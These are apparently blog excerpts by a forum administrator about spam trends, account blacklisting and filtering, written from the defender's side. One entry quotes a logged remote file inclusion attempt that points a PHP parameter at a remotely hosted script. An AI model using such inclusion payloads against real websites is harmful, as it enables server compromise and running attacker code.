Well, despite what I just wrote, I did see one interesting little experiment by, I assume, one spammer: He's using digg.com. read more

Nothing too exciting is going on currently regarding webspam.

Quite a few spammers still seem to act on the principle "the more the better", i.e. more links in a single post or more post (attempts) per site. You couldn't be more wrong, guys ...

Someone seems to have bought a lot of porn-related .cn domains and is now burning through them. This is so boring actually that I didn't even bother looking further into it.

It's interesting to see that many spammers still haven't realized how easily their spam can be filtered. They come up with posts that almost look genuine and tell some harmless or sometimes even heart-warming tale. And if they weren't posting in English to a German forum, you would almost believe those were real posts. But then they stick one of the typical spammy keywords in them and our filters are having a field day ...

It started out harmless enough: A registered user tried to submit a spam post. What I do in such a case is block the user's account. It had a yahoo.com address and the user had actually gone through the trouble of uploading a user photo - which featured the photo of a doctor and the words "online pharmacy". Nice one.

A while later, another registered user tried to edit his user profile and stuff it with the usual pharmacy spam keywords. Good thing we run user profiles through the spam filter ...

That "new" user, however, came from the same IP address as our previous guest. And that's when I noticed a whole bunch of new accounts, all using email addresses with the domain name kinglibrary.net. Well, guess what happened to those accounts. And into the blacklist with that domain name. read more

I've got the impression that over the last couple of days, the amount of webspam is slightly down, while the number of script kiddie attacks is up sharply. So I had a closer look at our logs. I noticed a whole bunch of the usual inclusion attempts like

/index.php?kunden=http://amyru.h18.ru/images/cs.txt?

Sorry, guys - our index.php doesn't even look for a "kunden" parameter (and even if it did, it wouldn't fall for that old trick).

But what I found more interesting is the referrer that came with these attempts:

http://www.altavista.com/web/results?itag=ody&kgs=1&kls=0&q=search&stq=0

Altavista? Who uses that any more? read more

Dear Spammer, don't you think it's somewhat morbid to (try to) spam for Anna Nicole Smith Topless? The poor woman's been dead for eight months now. Unless, of course, you're trying to advertise things related to necrophilia (and, no, I didn't check out the spamvertized site ...). read more